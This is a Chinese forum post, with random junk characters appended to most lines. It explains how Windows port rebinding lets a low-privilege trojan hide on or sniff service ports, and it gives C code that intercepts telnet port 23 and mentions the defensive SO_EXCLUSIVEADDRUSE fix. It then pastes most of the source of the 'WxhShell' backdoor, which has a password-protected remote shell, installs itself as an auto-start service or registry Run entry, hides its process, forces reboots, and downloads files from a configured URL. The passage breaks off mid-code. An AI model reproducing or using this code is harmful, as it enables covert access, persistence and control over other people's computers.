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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~,oz hj0f/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '<YBoU{ e*  
tk*-Cx?_  
  saddr.sin_family = AF_INET; lZ7 $DGe  
x{8h3.ZQ,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0M roHFh9`  
A6 .wXv,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $.kJBRgV*  
L-:@Om!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s3nO"~tM  
[>r0 (x&.  
  这意味着什么?意味着可以进行如下的攻击: :b(W&iBWhI  
{:("oK6w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QRK\74'uY  
oQ,<Yx%E3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v*qbzW`  
-aVC`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZZZ9C#hK^9  
b=xn(HE8|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $ ,]U~7S  
/5/gnp C  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z'$1$~I  
9]w?mHslE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NU?<bIQ  
knYp"<qj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S4 Uu/EX6S  
5qW>#pTFVV  
  #include t"YsIOT:O"  
  #include !OY}`a(z  
  #include tE {M  
  #include    e2N K7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v\4<6Z:4  
  int main() *9$SFe|&n:  
  { .,p=e$x]  
  WORD wVersionRequested; j}",+H v  
  DWORD ret; `R: W5_n  
  WSADATA wsaData; zD<W`_z  
  BOOL val; <{bxOr+  
  SOCKADDR_IN saddr; Q2- lHn^L:  
  SOCKADDR_IN scaddr; sH;_U)ssH  
  int err; ?#xm6oe#aH  
  SOCKET s; &e:+;7  
  SOCKET sc; abT,"a\h  
  int caddsize; =WW5H\?  
  HANDLE mt; $.,B2}'  
  DWORD tid;   hEu_mw#  
  wVersionRequested = MAKEWORD( 2, 2 ); 0V>Ho H   
  err = WSAStartup( wVersionRequested, &wsaData ); 5!fYTo|G>  
  if ( err != 0 ) { r>FwJm!  
  printf("error!WSAStartup failed!\n"); |,:p[Oy  
  return -1; +llb{~ZN  
  } `62v5d*>a  
  saddr.sin_family = AF_INET; 4Ex&AR8  
   ]q{_i   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QCb%d'_w+  
uf#h~;B  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )]FXUz|;  
  saddr.sin_port = htons(23); &`v?oN9$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UAhWJ$(C  
  { kl.;E{PL  
  printf("error!socket failed!\n"); ;]Q6K9.d8  
  return -1; aMY@**^v  
  } ~[t#$2d}  
  val = TRUE; `qs}L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;[R6rVHe{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :tU^  
  { X:g5;NT  
  printf("error!setsockopt failed!\n"); G Ixs>E'X  
  return -1; 0LH6G[  
  } Dk^AnMx%_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0Q&(j7`^@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r5S/lp+Y+N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {@)ZXg  
94ruQ/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) iLuC_.'u=  
  { ~>u| 7 M$(  
  ret=GetLastError(); 7GsKD=bl]  
  printf("error!bind failed!\n"); ~ W8X g)  
  return -1; Uc {m##!  
  } 8R3{YJ6@T  
  listen(s,2); xt?-X%oY8  
  while(1) \Dq'~ d  
  { rN} 8~j  
  caddsize = sizeof(scaddr); KoNu{TJ  
  //接受连接请求 N~8H\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }-Mg&~e`  
  if(sc!=INVALID_SOCKET) &=kv69v  
  { f|q/2}Bqb  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >jAFt_  
  if(mt==NULL) +:;ddV  
  { bp:`m>4<  
  printf("Thread Creat Failed!\n"); Mww^  
  break; \(j*K6#  
  } .yZLC%}  
  } dE_Xd :>  
  CloseHandle(mt); l EFd^@t  
  } H575W"53  
  closesocket(s); _P qq*  
  WSACleanup(); Uw.')ZY=  
  return 0; 1$vGQ  
  }   OA3J(4!"W  
  DWORD WINAPI ClientThread(LPVOID lpParam) MZ,1mR  
  { b`#YJpA  
  SOCKET ss = (SOCKET)lpParam; ,7&\jET5^0  
  SOCKET sc; (V6bX]<  
  unsigned char buf[4096]; I!Z`'1"  
  SOCKADDR_IN saddr; BjvQ6M{Y"+  
  long num; ~hvj3zC5xz  
  DWORD val; ~k?rP}>0  
  DWORD ret; 05FGfnq.8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S"h;u=5it  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r$={_M$  
  saddr.sin_family = AF_INET; c}qpmWF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z.cDbkf}  
  saddr.sin_port = htons(23); H1kI+YJ@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B&a{,.m&q6  
  { FFcCoPX_  
  printf("error!socket failed!\n"); Z2$_9.  
  return -1; 5 qfvHQ ~M  
  } imYfRi=$  
  val = 100; H<_Tn$<zH.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3s!6rT_=)d  
  { ^~[7])}g6  
  ret = GetLastError(); vzg^tJ  
  return -1; Hloe7+5UD  
  } ^}-l["u`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cRnDAn#42  
  { KNAvLcg  
  ret = GetLastError(); dRron_'  
  return -1; -pYmM d,  
  } Ea@0>_U|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _  Lh0  
  { _C/|<Ot:  
  printf("error!socket connect failed!\n"); M?h{'$T  
  closesocket(sc); G7 UUx+X  
  closesocket(ss); ['}|#3*w  
  return -1; $?PI>9g!  
  } ?l9sj]^w  
  while(1) XZ |L D#  
  { :.+w'SEn4M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {:gx*4}q8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ..8t1+S6]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #AGO~#aK  
  num = recv(ss,buf,4096,0); S!8<|WO^t  
  if(num>0) uBbQJvL  
  send(sc,buf,num,0); .Od:#(aq  
  else if(num==0) :b44LXKCP  
  break; ~DK.Y   
  num = recv(sc,buf,4096,0); x *I'Ar  
  if(num>0) 0(y*EJA$  
  send(ss,buf,num,0); U7x  
  else if(num==0) 3HrG^/  
  break; 7p.8{zQ*  
  } }U_^zQfaj  
  closesocket(ss); }+KM"+@$<  
  closesocket(sc); u;q Q/Ftb  
  return 0 ; B46:LQ9[  
  } n>v1<^  
*LB-V%{|'  
/+92DV  
========================================================== e#;43=/Ia  
"rn  
下边附上一个代码,,WXhSHELL Z3TCi7,m  
?_gvI  
========================================================== nnPT08$  
b/UXO$_~-  
#include "stdafx.h" swj\X ,{  
m=6?%' H}  
#include <stdio.h> v"1&xe^4  
#include <string.h> 9Ad%~qciY  
#include <windows.h> 1!1JT;gG^9  
#include <winsock2.h> |Gz<I  
#include <winsvc.h> ([q>.[WbH]  
#include <urlmon.h> V4R s  
{ }/  
#pragma comment (lib, "Ws2_32.lib") #-B<u-  
#pragma comment (lib, "urlmon.lib") :(~<BiqR(  
nN{DO:_o  
#define MAX_USER   100 // 最大客户端连接数 RkG?R3e  
#define BUF_SOCK   200 // sock buffer P}Ig6^[m\  
#define KEY_BUFF   255 // 输入 buffer w]gLd  
E^rBs2;9  
#define REBOOT     0   // 重启 bKS/T^UQ  
#define SHUTDOWN   1   // 关机 EcHZ mf  
4xW~@m eNB  
#define DEF_PORT   5000 // 监听端口 2`]c&k;]  
%.$!VTO"  
#define REG_LEN     16   // 注册表键长度 uY~mi9E  
#define SVC_LEN     80   // NT服务名长度 /9ORVV  
IMD^(k 2  
// 从dll定义API Ja3#W K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {Ycgq%1>]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9mD dX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -I5]#%eX^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9\!&c<i=  
,.P]5 lE  
// wxhshell配置信息 ?/&X _O  
struct WSCFG { PJB_"?NTTC  
  int ws_port;         // 监听端口 1^$hbRq  
  char ws_passstr[REG_LEN]; // 口令 LE}`rW3  
  int ws_autoins;       // 安装标记, 1=yes 0=no ??nT[bhQ  
  char ws_regname[REG_LEN]; // 注册表键名 _]*[TGap  
  char ws_svcname[REG_LEN]; // 服务名 Mt4]\pMUb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qY-aR;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rmw}Ui"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -J63'bb7oi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'n7|fjX?Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BPkMw'a:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s&ox%L4  
&G%AQpDW5  
}; i}LQ}35@  
^iEf"r  
// default Wxhshell configuration |h $Gs2  
struct WSCFG wscfg={DEF_PORT, *=@8t^fa86  
    "xuhuanlingzhe", l atm_\  
    1,  $Z &6  
    "Wxhshell", %t_'rv  
    "Wxhshell", G:b6Wf  
            "WxhShell Service", x%X3FbF]  
    "Wrsky Windows CmdShell Service", 8i "CU:(  
    "Please Input Your Password: ", A&1EOQ=N  
  1, eJqx,W5MK]  
  "http://www.wrsky.com/wxhshell.exe", yzfiH4  
  "Wxhshell.exe" %u%;L+0Q[  
    }; ypM,i  
6 T4"m  
// 消息定义模块 'dwsm7Xd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5L6.7}B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $!G|+OuTR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; umP nw  
char *msg_ws_ext="\n\rExit."; !"phz&E5ah  
char *msg_ws_end="\n\rQuit."; 4Ty?>'*|  
char *msg_ws_boot="\n\rReboot..."; xy>$^/[$  
char *msg_ws_poff="\n\rShutdown..."; / w dvm4  
char *msg_ws_down="\n\rSave to "; &S.p%Qe"  
[ x>Pf1  
char *msg_ws_err="\n\rErr!"; 9hK8dJw  
char *msg_ws_ok="\n\rOK!"; Qq{tX  
wa[J\lW  
char ExeFile[MAX_PATH]; N/-(~r[  
int nUser = 0; CPa+?__B  
HANDLE handles[MAX_USER]; gm]q<~eMW  
int OsIsNt; 0e>?!Z E  
,?U(PEO\f  
SERVICE_STATUS       serviceStatus; +q2\3REzx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &z3_N  
(Ajhf}zJ  
// 函数声明 2pHR$GZ2  
int Install(void); LL:N/1ysG  
int Uninstall(void); 2O(k@M5E?  
int DownloadFile(char *sURL, SOCKET wsh); UV%o&tv|<  
int Boot(int flag); b^[>\s'  
void HideProc(void); :F5(]g 7  
int GetOsVer(void); 6R m dt  
int Wxhshell(SOCKET wsl); fC^d@4ha  
void TalkWithClient(void *cs); ajRht +{  
int CmdShell(SOCKET sock); \zcSfNE  
int StartFromService(void); "j`T'%EV  
int StartWxhshell(LPSTR lpCmdLine); iU0jv7}n  
dh}"uM}a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L9hL@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _j$V[=kdM/  
X%!?\3S  
// 数据结构和表定义 ?>=vKU5  
SERVICE_TABLE_ENTRY DispatchTable[] = OvdBUcp[  
{ +:#g6(P]  
{wscfg.ws_svcname, NTServiceMain}, BB,-HhYT0  
{NULL, NULL} #\F8(lZ  
}; 9[{q5  
=S^vIo)  
// 自我安装 kdA]gpdw  
int Install(void) Z^F>sUMR  
{ tm34Z''.>  
  char svExeFile[MAX_PATH]; mFpj@=^_G  
  HKEY key; [PrJf"Z "  
  strcpy(svExeFile,ExeFile); -[=@'N P  
LUx'Dm"  
// 如果是win9x系统,修改注册表设为自启动 T}p|_)&y  
if(!OsIsNt) { Rp zuSh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6EWCJ%_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 [E/^  
  RegCloseKey(key); WFug-#;e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V!e`P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DS|x*w'I  
  RegCloseKey(key); 7}=MVp] )S  
  return 0; /$8& r  
    } w0>5#j q#r  
  } f:t5`c.  
} ,+Ya'4x  
else { ;rh =63g  
K/(Z\lL  
// 如果是NT以上系统,安装为系统服务 kad$Fp39  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); " H=fWz5z  
if (schSCManager!=0) BaCzN;)  
{ Dxr4B<  
  SC_HANDLE schService = CreateService q<g!bW%  
  ( 1{xkAy0  
  schSCManager, odeO(zuU  
  wscfg.ws_svcname, ~8Ef`zL  
  wscfg.ws_svcdisp, ,E(M<n|.  
  SERVICE_ALL_ACCESS, wGz_IL.D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w@N)Pu  
  SERVICE_AUTO_START, F0'o!A#|(  
  SERVICE_ERROR_NORMAL, sGMnm  
  svExeFile, gcM(K.n  
  NULL, kvN6K6  
  NULL, |[bQJ<v6  
  NULL, =:RNpi,  
  NULL, >vfLlYx  
  NULL )/v`k>E  
  ); b!;WF  
  if (schService!=0) 4=ha$3h$  
  { YBk* CW9  
  CloseServiceHandle(schService); uvD*]zX  
  CloseServiceHandle(schSCManager); Mb%[Qp60  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w^$$'5=  
  strcat(svExeFile,wscfg.ws_svcname); dfeN_0` -  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \ ]h$8JwV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /3`fO^39Ta  
  RegCloseKey(key); # WL5p.  
  return 0; xiQd[[(sM  
    } 1$c[G}h  
  } kb*b|pWlO  
  CloseServiceHandle(schSCManager); M w+4atO4[  
} vinn|_s%  
} L!W5H2Mc  
'Ya-;5Y]  
return 1; KU0;}GSNX}  
} PurY_  
x A ZRl  
// 自我卸载 WoMMAo~  
int Uninstall(void) 0[OlJMVf  
{ ?rwHkPJ{*  
  HKEY key; "k7C   
k*T&>$k}^  
if(!OsIsNt) { 6FI`0j=~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w >#.id[k  
  RegDeleteValue(key,wscfg.ws_regname); y{qKb:~wv  
  RegCloseKey(key); 'P >h2^z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q"{Q]IT  
  RegDeleteValue(key,wscfg.ws_regname); xHwcP21  
  RegCloseKey(key); 771r(X?Fa  
  return 0; E'_$?wWn5  
  } cNRe>  
} 1\Vp[^#Vx  
} !% yd'"6Dl  
else { ez*O'U  
*&yt;|y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [IuF0$w=dj  
if (schSCManager!=0) |G>Lud  
{ a`QKN rA2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m[*y9A1  
  if (schService!=0) UXV>#U?  
  { fxX4 !r  
  if(DeleteService(schService)!=0) { kv/mqKVr  
  CloseServiceHandle(schService); A v%'#1w<"  
  CloseServiceHandle(schSCManager); h|&qWv  
  return 0; so\8.(7n  
  } xHdv?69,  
  CloseServiceHandle(schService); !p"Ijz5  
  } {nmBIk2v  
  CloseServiceHandle(schSCManager); x\XOtjJr  
} 0Z~G:$O/i  
} y <21~g=  
,n+~S^r  
return 1; E@$HO_;&  
} c`G~.paY|  
V4 Wn  
// 从指定url下载文件 |zSoA=7?  
int DownloadFile(char *sURL, SOCKET wsh) <DM:YWNa  
{ !_UBw7Zm  
  HRESULT hr; erZ%C <  
char seps[]= "/"; l 7=WO#Pb  
char *token; 5oI gxy  
char *file; HvVS<Ke  
char myURL[MAX_PATH]; 5U&?P   
char myFILE[MAX_PATH]; W_N!f=HW  
*6%r2l'kZ  
strcpy(myURL,sURL); '@+a]kCMev  
  token=strtok(myURL,seps); d#G H4+C  
  while(token!=NULL) rn8t<=ptH3  
  { v5o@ls  
    file=token; %phv<AW  
  token=strtok(NULL,seps); Fs EPM"&?h  
  } b}#ay2AR  
|CFTOe\ q  
GetCurrentDirectory(MAX_PATH,myFILE); i^'Uod0d.  
strcat(myFILE, "\\"); GiN\@F!  
strcat(myFILE, file); SLG3u;Ab  
  send(wsh,myFILE,strlen(myFILE),0); d4zqLD$A  
send(wsh,"...",3,0); +b]+5!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0Bpix|mq  
  if(hr==S_OK) O.8{c;  
return 0; ^g56:j~?  
else m^)h/s0A  
return 1; %A<|@OSdOa  
\;G97o  
} u*$ 1e  
bJE$>  
// 系统电源模块 D 4\T`j:  
int Boot(int flag) {~ngI<  
{ jreY'y:  
  HANDLE hToken; c*g(R.!  
  TOKEN_PRIVILEGES tkp; ~\z\f} w  
=K)au$BE|  
  if(OsIsNt) { vK?{Z^J][  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?*Kewj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kOGpe'bV  
    tkp.PrivilegeCount = 1; `8 Dgk}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Uv06f+P(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `"E|  
if(flag==REBOOT) { C9q`x2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c!BiGw,;  
  return 0; WlnI`!)d  
} WJ+<&6W8  
else { "yI)F~A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UEJX0=  
  return 0; *}\!&Zk"  
} IdlW[h3`[  
  } k.DDfuKN  
  else { LV&tu7c  
if(flag==REBOOT) { yS#LT3>l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u=I>DEe@ c  
  return 0; {}ZQK  
} i>S /W!F  
else { 7K`A2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j`\}xDg  
  return 0; Nd&u*&S  
} TZq']Z)#  
} .(  vS/  
e/WR\B'1  
return 1; ;fhFv&`mE  
} %/H  
n2R{$^JxO  
// win9x进程隐藏模块 )#r]x1[Kn  
void HideProc(void) PCs+` WP!M  
{ f4zd(J  
f;6a4<bz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3_IuK 6K2  
  if ( hKernel != NULL ) 0 )#5_-%  
  { 2Ni$ (`"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u|\Lb2Kb:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xv9Z~JwH  
    FreeLibrary(hKernel); c{j0A;XMS  
  } z@cL<.0CE  
&gkloP @  
return; pd,5.d  
} kzGD *  
RaAi9b[/S  
// 获取操作系统版本 C}+w<  
int GetOsVer(void) 5>7ECe*  
{ (?&X<=|"  
  OSVERSIONINFO winfo; O'" &9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |-I[{"6q$@  
  GetVersionEx(&winfo); Y*0%l q({H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B5!$5 Qc  
  return 1; 4)iSz>  
  else ~;|  
  return 0; GLL,  
} iy8U rgG;l  
ekfD+X  
// 客户端句柄模块 u9e A"\s  
int Wxhshell(SOCKET wsl) r9@W8](\  
{ j%b/1@I  
  SOCKET wsh; OGrVy=rd  
  struct sockaddr_in client; [,-MC7>]  
  DWORD myID; V$-IRdb  
APuG8 <R,  
  while(nUser<MAX_USER) B[Uvj~g  
{ 0W9,uC2:N  
  int nSize=sizeof(client); ;|b D@%@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xF5q=%n  
  if(wsh==INVALID_SOCKET) return 1; kVQKP  U  
x+"~-KO8q$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !tFs(![  
if(handles[nUser]==0) vKDRjrF-  
  closesocket(wsh); Se* GR"Z+  
else sW#6B+5_k  
  nUser++; 5FnWlFc  
  } z:|4S@9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  OR4!73[I  
zO2Z\E'% .  
  return 0; eM+]KG)}  
} xe2Ap[Y'M  
_;{n+i[  
// 关闭 socket (D{Fln\  
void CloseIt(SOCKET wsh) J(h=@cw  
{ VLc=!W}  
closesocket(wsh); mTW0_!.  
nUser--; $TL~SVHj;{  
ExitThread(0); DTt/nmKAqJ  
} #~q{6()e:  
mKPyM<Q  
// 客户端请求句柄 L\5j"] }`  
void TalkWithClient(void *cs) Ezm ~SY  
{ .ev'd&l.  
^$24231^  
  SOCKET wsh=(SOCKET)cs; ' V;cA$ $  
  char pwd[SVC_LEN]; H6x~mZu_:T  
  char cmd[KEY_BUFF]; @X"p"3V  
char chr[1]; 0eQyzn*98  
int i,j; %.BbPR7?h  
9n$GeRO  
  while (nUser < MAX_USER) { %?y ?rt  
& p"ks8"  
if(wscfg.ws_passstr) { N0sf V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4_8%ZaQ\.?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Jt.dR6,  
  //ZeroMemory(pwd,KEY_BUFF); m]+g[L?-  
      i=0; Xp{+){Iu  
  while(i<SVC_LEN) { ,Zb]3  
S>aN#  
  // 设置超时 ioIUIp+B~u  
  fd_set FdRead; Z'>Xn^  
  struct timeval TimeOut; WsTbqR)W%  
  FD_ZERO(&FdRead); ?7'uo$  
  FD_SET(wsh,&FdRead); d90B15]gv  
  TimeOut.tv_sec=8; +T+f``RcK  
  TimeOut.tv_usec=0; =E8lpN'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g9H~\w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vdYd~>w  
{%'(IJ|5z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]YQlCx`  
  pwd=chr[0]; r Ka7[/  
  if(chr[0]==0xd || chr[0]==0xa) { x1]^].#Eo  
  pwd=0; 0"kNn5  
  break; <K%qaf  
  } vX]\Jqy  
  i++; SgHLs  
    } =K=FzV'_~  
0iinr:=u  
  // 如果是非法用户,关闭 socket T/V8&'^i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gd R wh  
} @3K)VjY7  
5u MP31  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4$+1jjC]>~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8 =FP92X  
KTD# a1W  
while(1) { "~9 !o"  
;WC]Lf<Z^  
  ZeroMemory(cmd,KEY_BUFF); 29 L~SMf  
7@$Hua,GY  
      // 自动支持客户端 telnet标准   cXFNX<  
  j=0; 0 ML=]  
  while(j<KEY_BUFF) { &7!&]kA+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pk7Yq:avL  
  cmd[j]=chr[0]; O7I:Y85i#O  
  if(chr[0]==0xa || chr[0]==0xd) { 0PI C|  
  cmd[j]=0; E9;cd$}K  
  break; PGsXB"k<8  
  } iE, I\TY[  
  j++; r ioNP(  
    } .dt7b4.kd  
_$s9o$8$  
  // 下载文件 L"&j(|{  
  if(strstr(cmd,"http://")) { XL>c TM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '^'vafs-/@  
  if(DownloadFile(cmd,wsh)) M%7{g"J*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Ruj_U  
  else ;"hED:z6%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +u#;k!B/>  
  } ,OsFv}v7  
  else { Eg-3GkC  
B\wH`5/KW  
    switch(cmd[0]) { 7c1xB.g   
  Gy hoo'<  
  // 帮助 r`pg`ChHv  
  case '?': { %<CahzYc6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wp`wIe6  
    break; _(&^M[O  
  } QU_O9 BN  
  // 安装 jxU1u"WU  
  case 'i': { %Wkvo-rOq  
    if(Install()) ;t{Ew+s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dFFJw[$8w  
    else nR-`;lrF~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mdsn"Y V  
    break; MU4/arXy  
    } (|I:d!>:U  
  // 卸载 "ys#%,Z  
  case 'r': { Xi^3o  
    if(Uninstall()) 7"Sw))H|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fd*)1FQKT  
    else <[ />M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z|K+{{C  
    break; 5:6as^i:b  
    } v*SSc5gFG  
  // 显示 wxhshell 所在路径 o7)<pfif  
  case 'p': { S#Tc{@e  
    char svExeFile[MAX_PATH]; l)m\i_r:  
    strcpy(svExeFile,"\n\r"); lG/M%i  
      strcat(svExeFile,ExeFile); G.OAzA13!t  
        send(wsh,svExeFile,strlen(svExeFile),0); eVyXh>b*  
    break; 4n @}X-)  
    } zV_U/]y  
  // 重启 'VcZ_m:  
  case 'b': { ]ppi962Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?Y7'OlO  
    if(Boot(REBOOT)) q(4W /y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z{s&myd  
    else { Y u\<  
    closesocket(wsh); la:i!q AH  
    ExitThread(0); 6ziiV _p  
    } l2QO\O I9m  
    break; ]fvU}4!  
